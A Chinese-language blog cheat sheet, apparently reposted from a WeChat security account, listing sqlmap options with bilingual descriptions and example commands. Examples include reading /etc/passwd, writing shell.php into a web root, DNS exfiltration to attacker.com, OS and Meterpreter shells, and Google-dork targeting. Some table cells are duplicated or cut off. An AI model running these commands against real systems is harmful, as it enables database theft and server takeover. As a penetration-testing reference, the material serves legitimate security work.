SQLMap终极指南|SQL注入测试命令详解(附CheatSheet)

admin 2025年5月25日23:46:14评论4 views字数 21012阅读70分2秒阅读模式

SQLmap 是什么?

SQLmap 是一个开源的渗透测试工具,可自动化检测和利用SQL 注入漏洞,并接管资料库服务器。它具有强大的检测引擎,许多特色功能,可供最终渗透测试人员使用,以及广泛的开关范围,从资料库指纹识别,到从资料库获取资料,再到通过带外连接存取底层档案系统和在作业系统上执行命令。

为什么使用SQLmap

在许多Web 应用程式中,SQL 注入漏洞是常见的安全问题之一,因为它们使攻击者可以通过操作资料库中的资料进行损坏,甚至接管整个资料库系统。 SQLmap的主要目的是自动化检测和利用这些漏洞,从而减轻渗透测试人员的工作负担,节省时间和成本,并提高渗透测试的准确性和可靠性。

如何使用SQLmap?

SQLmap 可以在命令行中使用,根据需要添加不同的参数和选项。使用SQLmap的基本步骤如下:

a. 识别目标URL b. 分析目标网站的漏洞和资料库结构 c. 使用不同的技术和参数进行注入测试 d. 通过dumping和爆破等方式获取目标资料库中的资料 e. 利用out-of-band连接等方式进一步扩大攻击面 f. 创建报告并整理测试结果。

SQLmap 参数Usage 说明

英文
中文说明
中文叙述
英文原文叙述
较常使用的参数
Target
目标
至少必须提供其中一个选项来定义目标
At least one of these options has to be provided to define the target(s)
-u
Request
请求
该选项可用于指定如何连接到目标URL
These options can be used to specify how to connect to the target URL
-r, -H, --data, --cookie
Optimization
优化
该选项可用于优化sqlmap 的性能
These options can be used to optimize the performance of sqlmap
-n, --batch, --threads, --eta, --timeout
Injection
注入
该选项可用于指定要测试的参数,提供自定义注入payload 和可选的篡改脚本
These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts
-p, -D, -T, --level, --risk, --prefix, --suffix, --string, --hex
Detection
检测
该选项可用于自定义检测阶段
These options can be used to customize the detection phase
-f, --technique, --fresh-queries, --parse-errors
Techniques
技巧
该选项可用于微调特定SQL 注入技巧的测试
These options can be used to tweak testing of specific SQL injection techniques
--technique, --time-sec, --union-cols, --union-char, --udf-inject, --os-cmd, --os-shell, --tamper
Fingerprint
指纹
执行广泛的DBMS 版本指纹
Perform an extensive DBMS version fingerprint
--fingerprint
Enumeration
列举
该选项可用于列举后端资料库管理系统资讯,结构和包含在表中的资料
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables
-D, -T, -C, --exclude-sysdbs, --sql-query, --sql-shell, --sql-file
Brute force
暴力破解
该选项可用于运行暴力破解检查
These options can be used to run brute force checks
--common-tables, --common-columns, --common-file-read, --common-hashes, --privileges, --users, --passwords
User-defined function injection
自定义函数注入
该选项可用于创建自定义的用户定义函数
These options can be used to create custom user-defined functions
--udf-inject
File system access
档案系统存取
该选项可用于存取后端资料库管理系统底层档案系统
These options can be used to access the back-end database management system underlying file system
--file-read, --file-write, --file-dest, --file-filter, --file-dump
Operating system access
作业系统存取
该选项可用于存取后端资料库管理系统底层作业系统
These options can be used to access the back-end database management system underlying operating system
--os-shell, --os-pwn
Windows registry access
Windows 注册表存取
该选项可用于存取后端资料库管理系统Windows 注册表
These options can be used to access the back-end database management system Windows registry
--reg-read, --reg-write, --reg-del, --reg-key, --reg-value
General
一般设置
该选项可用于设置一些常规工作参数
These options can be used to set some general working parameters
--batch, --time-sec, --delay, --level, --risk
Miscellaneous
其他
该选项不适用于任何其他类别
These options do not fit into any other category
--update, --wizard, --alert, --beep, --tmp-dir

Options

参数
中文说明
英文原文
举例
-h

,--help
显示基本帮助资讯并退出
Show basic help message and exit
sqlmap -h
-hh
显示进阶帮助资讯并退出
Show advanced help message and exit
sqlmap -hh
--version
显示程式版本并退出
Show program's version number and exit
sqlmap --version
-v VERBOSE
设定冗长度,0-6 级别(预设为1)
Verbosity level: 0-6 (default 1)
sqlmap -v 3

Target

参数
中文说明
英文原文
举例
-u URL

,--url=URL
指定目标URL (例如" https://blog.feifei.tw/vuln.php?id=1 ")
Target URL (eg " https://blog.feifei.tw/vuln.php?id=1 ")
sqlmap -u "https://blog.feifei.tw/vuln.php?id=1"
-d DIRECT
指定直接连线至资料库的连线字串
Connection string for direct database connection
sqlmap -d "mysql://root:password@localhost/testdb"
-l LOGFILE
从Burp 或WebScarab proxy 的日志档解析目标
Parse target(s) from Burp or WebScarab proxy log file
sqlmap -l /path/to/proxy.log
-m BULKFILE
从文字档案中扫描多个目标
Scan multiple targets given in a textual file
sqlmap -m /path/to/targets.txt
-r REQUESTFILE
从档案中载入HTTP 请求
Load HTTP request from a file
sqlmap -r /path/to/request.txt
-g GOOGLEDORK
将Google Dork 结果作为目标URL 处理
Process Google dork results as target URLs
sqlmap -g "inurl:php?id="
-c CONFIGFILE
从INI 设定档载入选项
Load options from a configuration INI file
sqlmap -c /path/to/config.ini

Request

参数
中文说明
英文原文
举例
-A

,--user-agent=AGENT
指定HTTP User-Agent 标头值
HTTP User-Agent header value
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"
-H

,--header=HEADER
指定额外的标头(例如"X-Forwarded-For: 127.0.0.1")
Extra header (eg "X-Forwarded-For: 127.0.0.1")
--header="X-Forwarded-For: 127.0.0.1"
--method=METHOD
强制使用指定的HTTP 方法(例如PUT)
Force usage of given HTTP method (eg PUT)
--method=PUT
--data=DATA
设定要通过POST 送出的资料字串(例如"id=1")
Data string to be sent through POST (eg "id=1")
--data="id=1 and 1=1"
--param-del=PARAM_DELIM
指定用于分割参数值的字元(例如&)
Character used for splitting parameter values (eg &)
--param-del='&'
--cookie=COOKIE
指定HTTP Cookie 标头值(例如"PHPSESSID=a8d127e52ecb6a0d60f03c86a29a9d2a")
HTTP Cookie header value (eg "PHPSESSID=a8d127e52ecb6a0d60f03c86a29a9d2a")
--cookie="PHPSESSID=a8d127e52ecb6a0d60f03c86a29a9d2a"
--cookie-del=COOKIE_DELIM
指定用于分割Cookie 值的字元(例如; )
Character used for splitting cookie values (eg ; )
--cookie-del=';'
--live-cookies=LIVE_COOKIES
指定用于载入最新Cookie 值的Live cookies 档案
Live cookies file used for loading up-to-date values
--live-cookies=/path/to/live_cookies.txt
--load-cookies=LOAD_COOKIES
从Netscape/wget 格式的档案载入Cookie
File containing cookies in Netscape/wget format
--load-cookies=/path/to/cookies.txt
--drop-set-cookie
忽略回应中的Set-Cookie 标头
Ignore Set-Cookie header from response
--drop-set-cookie
--mobile
模拟智慧型手机的HTTP User-Agent 标头
Imitate smartphone through HTTP User-Agent header
--mobile
--random-agent
随机选择HTTP User-Agent 标头值
Use randomly selected HTTP User-Agent header value
--random-agent
--host=HOST
指定HTTP Host 标头值
HTTP Host header value
--host=www.feifei.tw
--referer=REFERER
指定HTTP Referer 标头值
HTTP Referer header value
--referer=https://www.google.com/
--headers=HEADERS
指定额外的标头(例如"Accept-Language: frnETag: 123")
Extra headers (eg "Accept-Language: frnETag: 123")
--headers="Accept-Language: frnETag: 123"
--auth-type=AUTH_TYPE
指定HTTP 验证类型(Basic、Digest、NTLM 或PKI)
HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-type=Digest
--auth-cred=AUTH_CRED
指定HTTP 认证类型(Basic、Digest、NTLM 或PKI)
HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=Digest
--auth-cred=AUTH_CRED
HTTP 认证帐号密码(帐号:密码)
HTTP authentication credentials (name:password)
--auth-cred=admin:password
--auth-file=AUTH_FILE
HTTP 认证PEM 凭证/私钥档案
HTTP authentication PEM cert/private key file
--auth-file=/path/to/auth.pem
--ignore-code=IGNORE_CODE
忽略(有问题的) HTTP 错误码(例如401)
Ignore (problematic) HTTP error code (eg 401)
--ignore-code=401
--ignore-proxy
忽略系统预设代理伺服器设定
Ignore system default proxy settings
--ignore-proxy
--ignore-redirects
忽略重新导向尝试
Ignore redirection attempts
--ignore-redirects
--ignore-timeouts
忽略连线逾时
Ignore connection timeouts
--ignore-timeouts
--proxy=PROXY
使用代理伺服器连线到目标URL
Use a proxy to connect to the target URL
--proxy=https://localhost:8080
--proxy-cred=PROXY_CRED
代理伺服器认证帐号密码(帐号:密码)
Proxy authentication credentials (name:password)
--proxy-cred=username:password
--proxy-file=PROXY_FILE
从档案载入代理伺服器清单
Load proxy list from a file
--proxy-file=proxies.txt
--proxy-freq=PROXY_FREQ
从指定清单中更改代理伺服器的间隔请求次数
Requests between change of proxy from a given list
--proxy-freq=10
--tor
使用Tor 匿名网路
Use Tor anonymity network
--tor
--tor-port=TOR_PORT
设定Tor 代理伺服器连接埠,非预设值
Set Tor proxy port other than default
--tor-port=9050
--tor-type=TOR_TYPE
设定Tor 代理伺服器类型(HTTP、SOCKS4 或SOCKS5 (预设值))
Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--tor-type=SOCKS5
--check-tor
检查是否正确使用Tor
Check to see if Tor is used properly
--check-tor
--delay=DELAY
每个HTTP 请求之间的延迟秒数
Delay in seconds between each HTTP request
--delay=5
--timeout=TIMEOUT
等待连接超时的秒数(预设为30 秒)
Seconds to wait before timeout connection (default 30)
--timeout=60
--retries=RETRIES
连线逾时时的重试次数(预设为3 次)
Retries when the connection timeouts (default 3)
--retries=5
--randomize=RPARAM
随机变更指定参数的值
Randomly change value for given parameter(s)
--randomize=param1,param2
--safe-url=SAFEURL
在测试期间经常存取的URL 地址
URL address to visit frequently during testing
--safe-url=https://www.feifei.tw
--safe-post=SAFE_POST_DATA
发送到安全URL 的POST 资料
POST data to send to a safe URL
--safe-post='username=admin&password=password123'
--safe-req=SAFE_REQUEST_FILE
从档中加载安全HTTP 请求
Load safe HTTP request from a file
--safe-req=/path/to/safe_request.txt
--safe-freq=SAFE_REQUEST_INTERVAL
存取安全URL 之间的常规请求
Regular requests between visits to a safe URL
--safe-freq=10
--skip-urlencode
跳过有效payload 资料的URL 编码
Skip URL encoding of payload data
--skip-urlencode
--csrf-token=CSRFPARAM
用于保存防CSRF 权杖(token)的参数
Parameter used to hold anti-CSRF token
--csrf-token=csrf_token
--csrf-url=CSRFURL
用于提取防CSRF 权杖(token)的URL 地址
URL address to visit for extraction of anti-CSRF token
--csrf-url=https://www.feifei.tw/csrf
--csrf-method=CSRFPARAM
防CSRF 权杖(token)页面存取时使用的HTTP 方法
HTTP method to use during anti-CSRF token page visit
--csrf-method=POST
--csrf-retries=CSRFRETRIES
撷取防CSRF 权杖(token)时的重试次数(预设为0 次)
Retries for anti-CSRF token retrieval (default 0)
--csrf-retries=3
--force-ssl
强制使用SSL/HTTPS
Force usage of SSL/HTTPS
--force-ssl
--chunked
使用HTTP 分块传输编码(POST) 请求
Use HTTP chunked transfer encoded (POST) requests
--chunked
--hpp
使用HTTP 参数污染方法
Use HTTP parameter pollution method
--hpp
--eval=EVALCODE
在请求之前评估提供的Python 程式码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()")
Evaluate provided Python code before the request (eg "import hashlib;id2=hashlib.md5(id).hexdigest()")
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

Optimization

参数
中文说明
英文原文
举例
-o
启用所有优化开关
Turn on all optimization switches
-o
--predict-output
预测常见的查询输出
Predict common queries output
--predict-output
--keep-alive
使用持久化的HTTP(s) 连线
Use persistent HTTP(s) connections
--keep-alive
--null-connection
不回传实际HTTP 回应体的页面长度
Retrieve page length without actual HTTP response body
--null-connection
--threads=THREADS
最大同时执行的HTTP(s) 请求数(预设为1)
Max number of concurrent HTTP(s) requests (default 1)
--threads=10

Injection

参数
中文说明
英文原文
举例
-p TESTPARAMETER
指定测试的参数
Testable parameter(s)
-p id
--skip=SKIP
跳过指定的参数
Skip testing for given parameter(s)
--skip=password
--skip-static
跳过看起来不是动态的参数
Skip testing parameters that not appear to be dynamic
--skip-static
--param-exclude=REGEX
排除不测试的参数的正则表达式
Regexp to exclude parameters from testing (eg "ses")
`--param-exclude="(PHPSESSID
--param-filter=PARAMETER_FILTER
选择测试的参数类型(GET, POST, COOKIE 等)
Select testable parameter(s) by place (eg "POST")
--param-filter=GET
--dbms=DBMS
强制指定后端资料库管理系统
Force back-end DBMS to provided value
--dbms=mysql
--dbms-cred=DBMS_CREDENTIALS
资料库管理系统认证凭证(使用者:密码)
DBMS authentication credentials (user:password)
--dbms-cred=root:toor
--os=OS
强制指定后端资料库管理系统的作业系统
Force back-end DBMS operating system to provided value
--os=Linux
--invalid-bignum
使用大数字来无效化值
Use big numbers for invalidating values
--invalid-bignum
--invalid-logical
使用逻辑运算来无效化值
Use logical operations for invalidating values
--invalid-logical
--invalid-string
使用随机字串来无效化值
Use random strings for invalidating values
--invalid-string
--no-cast
关闭有效payload 资料转换机制
Turn off payload casting mechanism
--no-cast
--no-escape
关闭字串转义机制
Turn off string escaping mechanism
--no-escape
--prefix=PREFIX
注入有效payload 的前缀字串
Injection payload prefix string
--prefix="'
--suffix=SUFFIX
注入有效payload 的后缀字串
Injection payload suffix string
--suffix=#
--tamper=TAMPER
在注入资料前使用指定的Python 程式码
Use given script(s) for tampering injection data
--tamper=apostrophemask.py
--technique=TECHNIQUES
要使用的SQL 注入技术(预设为"BEUSTQ")
SQL injection techniques to use (default "BEUSTQ")
--technique=BEUST
--time-sec=TIMESEC
延迟DBMS 回应的秒数(预设为5 秒)
Seconds to delay the DBMS response (default 5)
--time-sec=10
--union-cols=UCOLS
要测试UNION 查询SQL 注入的栏位范围
Range of columns to test for UNION query SQL injection
--union-cols=1-5
--union-char=UCHAR
用于猜解栏位元数的字元
Character to use for bruteforcing number of columns
`–

Detection

参数
中文说明
英文原文
举例
--level=LEVEL
指定测试级别(1-5, 预设为1)
Level of tests to perform (1-5, default 1)
--level=5
--risk=RISK
指定测试风险等级(1-3, 预设为1)
Risk of tests to perform (1-3, default 1)
--risk=2
--string=STRING
当SQL 语句执行结果为真时,要匹配的字串
String to match when query is evaluated to True
--string="Welcome admin"
--not-string=NOTSTRING
当SQL 语句执行结果为假时,要匹配的字串
String to match when query is evaluated to False
--not-string="Access denied"
--regexp=REGEXP
当SQL 语句执行结果为真时,要匹配的正则表达式
Regexp to match when query is evaluated to True
`--regexp="(true
--code=CODE
当SQL 语句执行结果为真时,要匹配的HTTP 状态码
HTTP code to match when query is evaluated to True
--code=200
--smart
只在存在正向启发时执行彻底的测试
Perform thorough tests only if positive heuristic(s)
--smart
--text-only
仅基于文字内容比较页面
Compare pages based only on the textual content
--text-only
--titles
仅比较页面标题
Compare pages based only on their titles
--titles

Techniques

参数
中文说明
英文原文
举例
--technique=TECH
指定使用的SQL 注入技术(预设为"BEUSTQ")
SQL injection techniques to use (default "BEUSTQ")
--technique=U
--time-sec=TIMESEC
设定DBMS 回应延迟的秒数(预设为5 秒)
Seconds to delay the DBMS response (default 5)
--time-sec=10
--union-cols=UCOLS
设定在UNION 查询中测试的栏位范围
Range of columns to test for UNION query SQL injection
--union-cols=1-5
--union-char=UCHAR
设定用于测试栏位数的字元
Character to use for bruteforcing number of columns
--union-char=^
--union-from=UFROM
设定在UNION 查询中使用的表格名称
Table to use in FROM part of UNION query SQL injection
--union-from=users
--dns-domain=DNS
设定在DNS 泄漏攻击中使用的功能变数名称
Domain name used for DNS exfiltration attack
--dns-domain=attacker.com
--second-url=SECURL
设定在二次注入攻击中搜索的结果页面URL
Resulting page URL searched for second-order response
--second-url=https://blog.feifei.tw/dashboard.php
--second-req=SECREQ
从档案载入二次注入攻击的HTTP 请求
Load second-order HTTP request from file
--second-req=second-order-request.txt

Enumeration

参数
中文说明
英文原文
举例
-a, --all
撷取所有资料
Retrieve everything
-a
-b, --banner
撷取DBMS 标语
Retrieve DBMS banner
-b
--current-user
撷取目前使用者
Retrieve DBMS current user
--current-user
--current-db
撷取目前资料库
Retrieve DBMS current database
--current-db
--hostname
撷取DBMS 主机名称
Retrieve DBMS server hostname
--hostname
--is-dba
检测目前使用者是否为DBA
Detect if the DBMS current user is DBA
--is-dba
--users
列举DBMS 使用者
Enumerate DBMS users
--users
--passwords
列举DBMS 使用者密码杂凑
Enumerate DBMS users password hashes
--passwords
--privileges
列举DBMS 使用者权限
Enumerate DBMS users privileges
--privileges
--roles
列举DBMS 使用者角色
Enumerate DBMS users roles
--roles
--dbs
列举DBMS 资料库
Enumerate DBMS databases
--dbs
--tables
列举DBMS 资料库表格
Enumerate DBMS database tables
--tables
--columns
列举DBMS 资料库表格栏位元
Enumerate DBMS database table columns
--columns
--schema
列举DBMS schema
Enumerate DBMS schema
--schema
--count
撷取表格中的资料笔数
Retrieve number of entries for table(s)
--count
--dump
列出DBMS 资料库表格内容
Dump DBMS database table entries
--dump
--dump-all
列出所有DBMS 资料库表格内容
Dump all DBMS databases tables entries
--dump-all
--search
搜寻栏位元、表格或资料库名称
Search column(s), table(s) and/or database name(s)
--search
--comments
列举资料库注解
Check for DBMS comments during enumeration
--comments
--statements
撷取DBMS 所执行的SQL 陈述式
Retrieve SQL statements being run on DBMS
--statements
-D DB
指定DBMS 要枚举的资料库
DBMS database to enumerate
-D database_name
-T TBL
指定要枚举的资料表
DBMS database table(s) to enumerate
-T table_name
-C COL
指定要枚举的资料表栏位
DBMS database table column(s) to enumerate
-C column_name
-X EXCLUDE
指定不要枚举的资料库标识符
DBMS database identifier(s) to not enumerate
-X database_identifier
-U USER
指定要枚举的使用者
DBMS user to enumerate
-U user_name
--exclude-sysdbs
枚举资料表时排除DBMS 系统资料库
Exclude DBMS system databases when enumerating tables
--exclude-sysdbs
--pivot-column=PNAME
指定当进行资料表枢纽分析时要使用的栏位
Pivot column name
--pivot-column=column_name
--where=DUMPWHERE
在列出资料表时使用WHERE 条件式
Use WHERE condition while table dumping
--where="column_name='value'"
--start=LIMITSTART
设定要列出的第一个资料表项目
First dump table entry to retrieve
--start=10
--stop=LIMITSTOP
设定要列出的最后一个资料表项目
Last dump table entry to retrieve
--stop=20
--first=FIRSTCHAR
设定要列出的查询输出的第一个单词的字元
First query output word character to retrieve
--first=1
--last=LASTCHAR
设定要列出的查询输出的最后一个单词的字元
Last query output word character to retrieve
--last=10
--sql-query=SQLQUERY
指定要执行的SQL 查询语句
SQL statement to be executed
--sql-query="SELECT * FROM table_name"
--sql-shell
使用互动式SQL shell
Prompt for an interactive SQL shell
--sql-shell
--sql-file=SQLFILE
从指定的档执行SQL 查询语句
Execute SQL statements from given file(s)
--sql-file=query_file.sql

Brute force

参数
中文说明
英文原文
举例
--common-tables
检查常见的资料表是否存在
Check existence of common tables
--common-tables
--common-columns
检查常见的栏位是否存在
Check existence of common columns
--common-columns
--common-files
检查常见的档案是否存在
Check existence of common files
--common-files

User-defined function injection

参数
中文说明
英文原文
举例
–udf-inject
注入自订的使用者定义函数
Inject custom user-defined functions
--udf-inject=udf_lib.so
–shared-lib=SHLIB
载入共用库文件
Local path of the shared library
--shared-lib=/tmp/udf_lib.so

File system acces

参数
中文说明
英文原文
举例
--file-read=FILEPATH
从资料库档案系统中读取文件
Read a file from the back-end DBMS file system
--file-read=/etc/passwd
-file-write=FILEPATH
将本地档写入资料库档系统中
Write a local file on the back-end DBMS file system
--file-write=local_file.txt
--file-dest=FILEPATH
设定在资料库档系统中写入档的目标位置
Back-end DBMS absolute filepath to write to
--file-dest=/var/www/html/shell.php

Operating system access

参数
中文说明
英文原文
举例
-os-cmd=COMMAND
在资料库伺服器上执行系统命令
Execute an operating system command
--os-cmd="ls -la"
--os-shell
在资料库伺服器上启动一个互动式shell
Prompt for an interactive operating system shell
--os-shell
--os-pwn
启动一个Out-Of-Band (OOB) shell 或Meterpreter
Prompt for an OOB shell, Meterpreter or VNC
--os-pwn
--os-smbrelay
启动一个Out-Of-Band (OOB) shell 或Meterpreter,并透过SMB Relay
One click prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay
--os-bof
将资料库上的Stored Procedure Buffer Overflow 漏洞利用
Stored procedure buffer overflow exploitation
--os-bof
--priv-esc
提升资料库进程的使用者权限
Database process user privilege escalation
--priv-esc
--msf-path=MSFPATH
指定Metasploit 框架的路径
Local path where Metasploit Framework is installed
--msf-path=/opt/metasploit
--tmp-path=TMPPATH
指定远端系统的临时档目录
Remote absolute path of temporary files directory
--tmp-path=/var/tmp/

Windows registry access

参数
中文说明
英文原文
举例
--reg-read
读取Windows 注册表键值
Read a Windows registry key value
--reg-read
--reg-add
写入Windows 注册表键值资料
Write a Windows registry key value data
--reg-add
--reg-del
删除Windows 注册表键值
Delete a Windows registry key value
--reg-del
--reg-key=REGKEY
Windows 注册表键
Windows registry key
--reg-key="HKLMSOFTWAREMicrosoft"
--reg-value=REGVAL
Windows 注册表键值
Windows registry key value
--reg-value=Version
--reg-data=REGDATA
Windows 注册表键值资料
Windows registry key value data
--reg-data=12
--reg-type=REGTYPE
Windows 注册表键值类型
Windows registry key value type
--reg-type=REG_DWORD

General

参数
中文说明
英文原文
举例
-s SESSIONFILE
从已存的(.sqlite) 档案载入session
Load session from a stored (.sqlite) file
-s session.sqlite
-t TRAFFICFILE
将所有HTTP 流量记录到文字档案
Log all HTTP traffic into a textual file
-t traffic.txt
--answers=ANSWERS
设定预先定义的回答(eg "quit=N,follow=N")
Set predefined answers (eg "quit=N,follow=N")
--answers=quit=N,follow=Y
--base64=BASE64PARAMETER
包含Base64 编码资料的参数
Parameter(s) containing Base64 encoded data
--base64=auth=bG9naW46cGFzc3dvcmQ=
--base64-safe
使用URL 和档案名称安全的Base64 字母表(RFC 4648)
Use URL and filename safe Base64 alphabet (RFC 4648)
--base64-safe
--batch
永远不要询问使用者输入,使用预设行为
Never ask for user input, use the default behavior
--batch
--binary-fields=BINARYFIELDS
有二进位值的结果栏位(eg "digest")
Result fields having binary values (eg "digest")
--binary-fields=digest,cookie
--check-internet
评估目标之前,检查网路连线
Check Internet connection before assessing the target
--check-internet
--cleanup
从资料库中删除sqlmap 特定的UDF 和表格
Clean up the DBMS from sqlmap specific UDF and tables
--cleanup
--crawl=CRAWLDEPTH
从目标URL 开始爬网站
Crawl the website starting from the target URL
--crawl=3
--crawl-exclude=CRAWLEXCLUDE
排除某些网页不要爬
Regexp to exclude pages from crawling (eg "logout")
--crawl-exclude=logout
--csv-del=CSVDEL
CSV 输出时使用的分隔符号号(预设为",")
Delimiting character used in CSV output (default ",")
--csv-del=";"
--charset=CHARSET
Blind SQL injection 字元集(eg "0123456789abcdef")
Blind SQL injection charset (eg "0123456789abcdef")
--charset=utf8
--dump-format=DUMPFORMAT
列出资料的格式(CSV (预设), HTML 或SQLITE)
Format of dumped data (CSV (default), HTML or SQLITE)
--dump-format=HTML
--encoding=ENCODING
取回资料时使用的字元编码(eg GBK)
Character encoding used for data retrieval (eg GBK
--eta
每个输出显示预计到达时间
Display for each output the estimated time of arrival
--eta
--flush-session
刷新当前目标的session 文件
Flush session files for current target
--flush-session
--forms
解析和测试目标URL 上的表单
Parse and test forms on target URL
--forms
--fresh-queries
忽略已储存在会话文件中的查询结果
Ignore query results stored in session file
--fresh-queries
--gpage=GOOGLEPAGE
从指定页面使用Google dork 结果
Use Google dork results from specified page number
--gpage=2
--har=HARFILE
将所有HTTP 流量记录到HAR 档中
Log all HTTP traffic into a HAR file
--har=/path/to/file.har
--hex
使用16 进制转换来检索资料
Use hex conversion during data retrieval
--hex
--output-dir=OUTPUT_DIR
自定义输出目录路径
Custom output directory path
--output-dir=/path/to/directory
--parse-errors
解析并显示来自回应的DBMS 错误消息
Parse and display DBMS error messages from responses
--parse-errors
--preprocess=PREPROCESS
使用给定的脚本进行预处理(请求)
Use given script(s) for preprocessing (request)
--preprocess=/path/to/script
--postprocess=POSTPROCESS
使用给定的脚本进行后处理(回应)
Use given script(s) for postprocessing (response)
--postprocess=/path/to/script
--repair
重新dump 具有未知字元标记(?)的条目
Redump entries having unknown character marker (?)
--repair
--save=SAVECONFIG
将选项保存到配置INI 档
Save options to a configuration INI file
--save=/path/to/file.ini
--scope=SCOPE
正则表达式筛选目标
Regexp for filtering targets
--scope=https://blog.feifei.tw
--skip-heuristics
跳过启发式侦测SQLi/XSS 漏洞
Skip heuristic detection of SQLi/XSS vulnerabilities
--skip-heuristics
--skip-waf
跳过启发式侦测WAF/IPS 保护
Skip heuristic detection of WAF/IPS protection
--skip-waf
--table-prefix=TABLE_PREFIX
设置暂存表的前缀
Prefix used for temporary tables (default: "sqlmap")
--table-prefix=myapp_
--test-filter=TEST_FILTER
通过payload 和/或标题选择测试
Select tests by payloads and/or titles (eg ROW)
--test-filter="AND(SELECT 1 FROM DBMS_RANDOM)='"
--test-skip=TEST_SKIP
通过payload 和/或标题跳过测试
Skip tests by payloads and/or titles (eg BENCHMARK)
--test-skip="AND (SELECT * FROM mytable)='"
--web-root=WEB_ROOT
设置网站根目录
Web server document root directory (eg "/var/www")
--web-root=/var/www/html/

Miscellaneous

参数
中文说明
英文原文
举例
-z MNEMONICS
使用短记忆体技巧(eg "flu,bat,ban,tec=EU")
Use short mnemonics (eg "flu,bat,ban,tec=EU")
-z flu,bat,ban,tec=EU
--alert=ALERT
在发现SQL 注入时执行主机OS 命令
Run host OS command(s) when SQL injection is found
--alert="ls -la"
--beep
当发现SQLi/XSS/FI 时发出哔声
Beep on question and/or when SQLi/XSS/FI is found
--beep
--dependencies
检查是否缺少(选用的) sqlmap 依赖项
Check for missing (optional) sqlmap dependencies
--dependencies
--disable-coloring
禁用控制台输出颜色
Disable console output coloring
--disable-coloring
--list-tampers
显示可用的篡改脚本列表
Display list of available tamper scripts
--list-tampers
--offline
在离线模式下工作(仅使用会话资料)
Work in offline mode (only use session data)
--offline
--purge
安全地从sqlmap 资料目录中删除所有内容
Safely remove all content from sqlmap data directory
--purge
--results-file=RESULTS_FILE
CSV 结果档在多目标模式下的位置
Location of CSV results file in multiple targets mode
--results-file=/path/to/results.csv
--shell
提示进入互动式sqlmap shell
Prompt for an interactive sqlmap shell
--shell
--tmp-dir=TMPDIR
储存临时档的本地目录
Local directory for storing temporary files
--tmp-dir=/path/to/tmpdir
--unstable
调整不稳定连接的选项
Adjust options for unstable connections
--unstable
--update
更新sqlmap
Update sqlmap
--update
--wizard
简单的向导介面供初学者使用
Simple wizard interface for beginner users
--wizard

原文始发于微信公众号(柯基的安全笔记):SQLMap终极指南|SQL注入测试命令详解(附CheatSheet)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月25日23:46:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQLMap终极指南|SQL注入测试命令详解(附CheatSheet)https://cn-sec.com/archives/4096996.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息